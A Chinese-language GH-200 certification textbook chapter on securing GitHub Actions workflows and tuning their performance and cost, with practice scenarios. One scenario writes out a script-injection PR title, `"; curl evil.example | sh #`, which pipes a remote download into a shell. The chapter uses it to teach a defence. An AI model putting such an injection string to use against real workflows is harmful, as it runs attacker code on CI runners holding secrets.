GH-200 數位教科書 開啟互動版

D5:保護與最佳化自動化

D5-O1 實作安全最佳做法

工作流程是會執行程式碼、持有權限與機密的自動化,所以它本身就是攻擊面。這個目標把防護分成五層:誰能核准部署、用了誰寫的 actions、輸入會不會變成程式碼、權杖能做什麼、憑證有沒有長期存在。

環境保護與核准關卡(environments)

job 參照某個環境時,必須先通過該環境的保護規則才會執行,也才拿得到環境的 secrets;規則沒過就一直等待。環境被刪除時,等待它的 job 會自動失敗。

規則 內容
必要審核者(required reviewers) 最多指定 6 個人或團隊;只要其中一人核准,job 就可以繼續
防止自我審核(prevent self-review) 選用;阻止使用者核准自己觸發的執行
等待計時器(wait timer) 選用;job 在環境上繼續之前的延遲,以分鐘計(我讀的頁面沒有寫最小與最大值)
部署分支與標籤 限制哪些分支與標籤可以部署到該環境;每條規則是名稱樣式,分支與標籤要分別設定
自訂部署保護規則 可啟用用 GitHub App 建立的自訂規則
管理員繞過 預設管理員可以繞過保護規則;可取消「Allow administrators to bypass configured protection rules」

環境的 secrets 與 variables 只提供給使用該環境的 job,而且要在規則通過之後。方案限制:GitHub Free 只有公開 repository 能設環境;GitHub Team 的組織與 GitHub Pro 的使用者可以對私有 repository 設環境;某些功能在私有 repository 的可用性有限,我讀的頁面沒有逐項確認必要審核者在每個方案是否可用。

找出值得信任的 actions,並固定版本

Script injection 的防範

${{ }} 在 shell 執行之前就被替換成文字,所以把不受信任的值(例如 PR 標題 github.event.pull_request.title)直接插進 run: 就等於讓攻擊者決定要執行什麼指令。防範做法:

  1. 首選:把表達式的值設成中間環境變數(env:),再在指令碼中以 "$TITLE" 引用,值就不會被用來產生指令碼本身。
  2. 最好:改用 action,把 context 值當引數傳給 action,而不是寫成內嵌指令碼。
  3. shell 衛生:用雙引號包住 shell 變數,避免單字分割。
  4. 最小權限:給 job 最小的 permissions,即使被注入也限制傷害。

官方這一頁沒有列出哪些 context 欄位屬於不受信任的輸入,我也不憑記憶補列。

GITHUB_TOKEN 的生命週期

用 OIDC 取代長期的雲端憑證

OpenID Connect 讓工作流程不需要把長期憑證存成 GitHub secret,就能向雲端供應商取得短期的存取權杖。

產生並驗證成品證明(artifact attestations)

其他要記的風險

判斷練習

情境 A: 一個工作流程寫 run: echo "${{ github.event.pull_request.title }}",有人把 PR 標題改成 "; curl evil.example | sh #。

解析: ${{ }} 在 shell 執行前被替換,標題變成指令碼的一部分。改成 env: TITLE: ${{ github.event.pull_request.title }},指令碼內用 echo "$TITLE",值就只是字串,不會被當成指令。

情境 B: 團隊把雲端的長期存取金鑰存成 secret,資安要求改成短期憑證。

解析: 設定 OIDC:job 加 permissions: id-token: write,雲端端建立信任條件(例如限定 sub),工作流程用權杖換短期存取權杖。id-token: write 只允許請求 JWT,不給任何資源的寫入權限。

情境 C: 部署工作流程要經人工核准,但提交者自己核准了自己的部署。

解析: 啟用環境的防止自我審核,並設定必要審核者(最多 6 人,只要一人核准);也可限制部署分支,並取消管理員繞過。

情境 D: 你把第三方 action 釘在 @v4,之後該 action 的 repository 被入侵,v4 標籤被移到惡意 commit。

解析: 標籤可以被移動;固定到完整 commit SHA(且確認 SHA 來自原 repository 而不是 fork),或使用 lockfile。同時注意 Dependabot alerts 不涵蓋釘在 SHA 的 actions,要搭配 version updates。

來源:Secure use reference(GH200-DOC-44)、Manage environments(GH200-DOC-46)、Configuring OpenID Connect in cloud providers(GH200-DOC-45)、OIDC reference(GH200-DOC-49)、GITHUB_TOKEN(概念)(GH200-DOC-52)、Authenticate with GITHUB_TOKEN(GH200-DOC-48)、About artifact attestations(GH200-DOC-47)、Use artifact attestations(GH200-DOC-50);2026-11-03 以頁面原文比對本節的數字與條件。官方 Study Guide 列的「不可變 actions 與版本固定的對齊」這次沒有可核對的頁面(見領域三),本節沒有補寫;SLSA 等級是依官方頁面敘述寫出,我沒有查 SLSA 規格本身。

D5-O2 最佳化工作流程效能與成本

這個目標的官方描述只有兩條:設定快取與成品保留以提高效率(並可用 REST API 以程式設定保留政策),以及「建議擴展與最佳化工作流程的策略」。第二條沒有固定答案,本節把官方文件已核對過的限制與計費事實整理成判斷依據;「策略」的歸納屬教學整理,不是官方清單。

要先知道的限制

項目 限制
單一 job 的執行時間 GitHub 代管 runner 6 小時;自管 runner 5 天;達到上限會被終止並失敗
單一步驟的 timeout-minutes 正整數,最大 360 分鐘
單次工作流程執行 35 天(含執行、等待與核准時間)
矩陣 每次工作流程執行最多 256 個 job(GitHub 代管與自管 runner 都適用)
同時執行的 job(GitHub 代管,標準 runner) Free 20、Pro 40、Team 60、Enterprise 500;larger runners 在 Team 與 Enterprise 都是 1,000;macOS 同時 job:Free、Pro、Team 為 5,Enterprise 為 50
自管 runner 的 job 佇列 排隊 24 小時後自動取消
工作流程執行的佇列 每 10 秒 500 個執行;達到上限時,webhook 事件會觸發的執行被擋下、不排隊;可重用工作流程算作一個
REST API 速率(每小時) 未驗證 60;PAT 或授權的 app 5,000;GitHub App 安裝權杖 5,000(最多 12,500);GITHUB_TOKEN 每個 repository 1,000(Enterprise Cloud 擁有的資源為 15,000)

快取與成品

快取的鍵、作用範圍、容量與淘汰規則見領域一;保留期的預設(90 天)與企業上限見領域四。成品用 retention-days 縮短保留,不能超過上層設定的限制;v4 的成品不可變,要為每個階段用新名稱。刪除工作流程執行時,它的成品也一併刪除。

並行控制與取消

concurrency 讓同一群組只同時執行一個:群組名稱不分大小寫;預設會取消同群組中等待(pending)的執行,要連執行中的也取消要設 cancel-in-progress: true;queue 預設是 single,queue: max 最多允許 100 個等待中的執行,但不能與 cancel-in-progress: true 同時使用,否則工作流程驗證失敗。部署工作流程常用 concurrency 避免兩個部署互相覆蓋。

矩陣與 runner 的取捨

擴展工作流程時可以考慮的順序(教學整理)

  1. 先量測:看每個 job 的耗時與失敗率,而不是憑感覺。
  2. 減少不必要的執行:concurrency 取消過時的執行、把不必要的觸發拿掉。
  3. 用快取與成品縮短重複工作(鍵要含 hashFiles)。
  4. 縮小矩陣、設 timeout-minutes,避免卡住的 job 吃掉 6 小時。
  5. 換 runner:先用更便宜或更快的組合驗證,再考慮 larger runners 或自管 runner(要連同安全與維護成本一起算)。

判斷練習

情境 A: 同一個分支連續推送三次,部署工作流程跑了三份,最後一份被較舊的部署覆蓋。

解析: 加上 concurrency(同一群組)並設 cancel-in-progress: true,新執行會取消舊的;群組名稱不分大小寫。需要排隊而不取消時,用 queue: max(但不能搭配 cancel-in-progress: true)。

情境 B: 公開 repository 的維護者想「省錢」,把一個 6 小時以上的批次作業搬到 GitHub 代管 runner。

解析: GitHub 代管 runner 的單一 job 上限是 6 小時,超過會被終止;這類長作業需要自管 runner(上限 5 天)或拆分。標準代管 runner 在公開 repository 免費,但時間上限仍適用。

情境 C: 快取容量超過預設,帳單出現額外費用。

解析: 每個 repository 的快取預設 10 GB,超出的用量按每 GB 每月計費;最久未存取的快取會先被淘汰。縮小快取、讓鍵能精準命中,或調整政策上限(要權衡額外費用)。

來源:Actions limits(GH200-DOC-51)、Billing for GitHub Actions(GH200-DOC-53)、Workflow syntax(GH200-DOC-10)、Dependency caching(GH200-DOC-06)、Store and share data(GH200-DOC-12);2026-11-03 以頁面原文比對本節的數字與條件。計費頁沒有說明每個 job 的分鐘進位方式,本節沒有寫;費率與內含額度是當日頁面的數字,容易改版。